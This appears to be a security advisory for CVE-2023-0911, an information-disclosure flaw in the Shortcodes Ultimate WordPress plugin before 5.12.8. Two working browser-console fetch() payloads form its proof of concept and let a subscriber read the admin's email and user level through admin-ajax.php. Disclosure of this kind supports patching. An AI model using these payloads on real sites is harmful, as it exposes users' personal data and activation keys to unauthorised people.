Shortcodes Ultimate < 5.12.8 – Subscriber+ User Meta Disclosure | CVE 2023-0911

Description

The plugin does not validate the user meta to be retrieved via the user shortcode, allowing any authenticated users such as subscriber to retrieve arbitrary user meta (except the user_pass), such as the user email and activation key by default.

Proof of Concept

Run one of the below commands in the developer console of the web browser while being on the blog as a subscriber

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[su_user field='user_email' user_id='1']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will display the email of the admin

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[su_user field='wp_user_level' user_id='1']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));